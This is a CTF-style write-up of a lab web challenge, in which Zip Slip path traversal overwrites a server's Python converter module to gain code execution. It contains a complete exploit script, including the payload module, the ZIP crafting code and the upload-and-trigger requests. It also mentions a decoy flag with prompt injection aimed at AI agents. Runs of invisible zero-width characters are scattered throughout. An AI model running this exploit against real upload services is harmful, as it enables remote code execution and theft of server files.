← Back to Writeups
CUSTOMMediumWeb

ShareStack

XESXOR9/10/20265 min read
#web#custom#medium#arbitrary_file_overwrite#decoy_flag_detection#python_module_injection#server_side_code_execution#zip_slip_path_traversal

ShareStack

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: arbitrary_file_overwrite, decoy_flag_detection, python_module_injection, server_side_code_execution, zip_slip_path_traversal

Summary

Task: Flask file hosting app (ShareStack) with ZIP upload and modular Python converter plugins for document preview. Solution: Zip Slip path traversal overwrites converter module with malicious Python code, triggering RCE when document preview is requested.

ShareStack — HackAdvisor

Description

You are testing ShareStack, a file hosting and document collaboration platform built by StackLayer Inc. Teams use it to upload, organize, and preview documents directly in the browser. The platform supports various file formats including Markdown, plaintext, and HTML, with a server-side rendering pipeline for document previews. Batch upload is available through ZIP archive support.

Your goal is to find and exploit a vulnerability in the application's file handling that allows you to gain code execution on the server and read sensitive files.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask/Python web application behind nginx that allows file uploads (including ZIP archives with automatic extraction) and renders document previews using modular Python converter plugins. The goal is to achieve RCE and read the flag file.

Analysis

Application architecture

After logging in with the provided credentials, the application reveals:

  • Dashboard at / — file listings with preview and download links (/preview/<id>, /download/<id>)
  • Upload at /upload — accepts individual files or ZIP archives (multipart form, field name files)
  • Files at /files, Shared at /shared, Settings at /settings
  • Server: Flask/Python behind nginx/1.25.5 (ShareStack v2.4.1) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Converter plugin system

The Settings page (/settings) reveals critical architecture details: "ShareStack uses modular converter plugins to render document previews. Each file format is processed by a dedicated converter module loaded from the server's converter directory."

Three active converters were discovered:

ConverterFile types
markdown_converter.md
text_converter.txt, .csv, .json, .xml, .log
html_converter.html, .htm
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Preview pages contain HTML comments like <!-- converter: markdown_converter --> confirming these are Python modules loaded from /app/converters/ at runtime.

ZIP extraction behavior

ZIP archives uploaded via POST /upload are automatically extracted on the server. Each file inside the archive is added individually to the storage system. The extraction target directory is /app/uploads/.

Directory layout

/app/
├── converters/          # Python converter modules loaded at runtime
│   ├── markdown_converter.py
│   ├── text_converter.py
│   └── html_converter.py
├── uploads/             # ZIP extraction target (one level below converters)
│   └── ...
└── app.py               # Main Flask application

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot / decoy flag

The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden <div> elements and HTML comments with prompt injection text designed to trick automated tools and AI agents. This is NOT the real flag.

Vulnerability: Zip Slip path traversal

The upload endpoint at POST /upload extracts ZIP files without sanitizing filenames for path traversal sequences (../). Since files are extracted to /app/uploads/ and the converter modules live at /app/converters/, a single ../ traversal in the ZIP entry filename reaches the converter directory. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This creates a path traversal → arbitrary file write → RCE chain:

  1. Craft a ZIP with an entry named ../converters/markdown_converter.py
  2. Upload it — the server extracts the file to /app/converters/markdown_converter.py, overwriting the legitimate module
  3. Trigger a preview of any .md file — the Flask app imports the overwritten module and executes the attacker's Python code

Solution

Step 1: Create malicious converter module

The payload must implement the expected convert(content, filename) interface so the Flask app calls it without errors, while also executing arbitrary commands: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
malicious_converter = '''
import os

def convert(content, filename):
    """Malicious converter that reads flag and returns it in HTML"""
    try:
        flag = ""
        for path in ["/root/flag.txt", "/flag.txt", "/flag", "/app/flag.txt"]:
            try:
                with open(path, "r") as f:
                    flag = f.read().strip()
                    break
            except:
                pass
        if not flag:
            flag = os.environ.get("FLAG", "FLAG_NOT_FOUND")
        return f"<h1>FLAG FOUND</h1><pre>{flag}</pre>"
    except Exception as e:
        return f"<h1>Error</h1><pre>{str(e)}</pre>"
'''

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Package as Zip Slip archive

python
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    # Path traversal: ../converters/ escapes from /app/uploads/ to /app/converters/
    zf.writestr('../converters/markdown_converter.py', malicious_converter)
    # Add a normal file so the ZIP looks legitimate
    zf.writestr('readme.txt', 'Normal file')
buf.seek(0)

The Python zipfile module allows creating entries with ../ in the name. When the server extracts without sanitization, the file lands at /app/converters/markdown_converter.py. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Upload and trigger

python
import requests

TARGET = "https://b40a9716-5e20-49db-92be-69e54f372aca.labs.hackadvisor.io"

s = requests.Session()
# Login
s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, verify=False)

# Upload malicious ZIP
files = {'files': ('exploit.zip', buf.getvalue(), 'application/zip')}
s.post(f"{TARGET}/upload", files=files, verify=False)

# Trigger converter execution by previewing a .md file
r = s.get(f"{TARGET}/preview/1", verify=False)
print(r.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Flag retrieved

The preview response contained:

FLAG{REDACTED}

Read from /root/flag.txt by the overwritten converter module executing server-side.

Full exploit script

python
#!/usr/bin/env python3
"""ShareStack Zip Slip to RCE exploit"""
import zipfile
import requests
import io

TARGET = "https://b40a9716-5e20-49db-92be-69e54f372aca.labs.hackadvisor.io"

# Login
s = requests.Session()
s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, verify=False)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Malicious converter payload
payload = '''import os

def convert(content, filename=""):
    try:
        flag = ""
        for path in ["/root/flag.txt", "/flag.txt", "/flag", "/app/flag.txt"]:
            try:
                with open(path, "r") as f:
                    flag = f.read().strip()
                    break
            except:
                pass
        if not flag:
            flag = os.environ.get("FLAG", "FLAG_NOT_FOUND")
        return f"<h1>FLAG FOUND</h1><pre>{flag}</pre><hr><pre>{content}</pre>"
    except Exception as e:
        return f"<h1>Error</h1><pre>{str(e)}</pre>"
'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr('../converters/markdown_converter.py', payload)
    z.writestr('readme.txt', 'Normal file')
buf.seek(0)

# Upload malicious ZIP
files = {'files': ('exploit.zip', buf.getvalue(), 'application/zip')}
r = s.post(f"{TARGET}/upload", files=files, verify=False)
print(f"Upload: {r.status_code}")

# Trigger converter execution by previewing a .md file
r = s.get(f"{TARGET}/preview/1", verify=False)
print(r.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍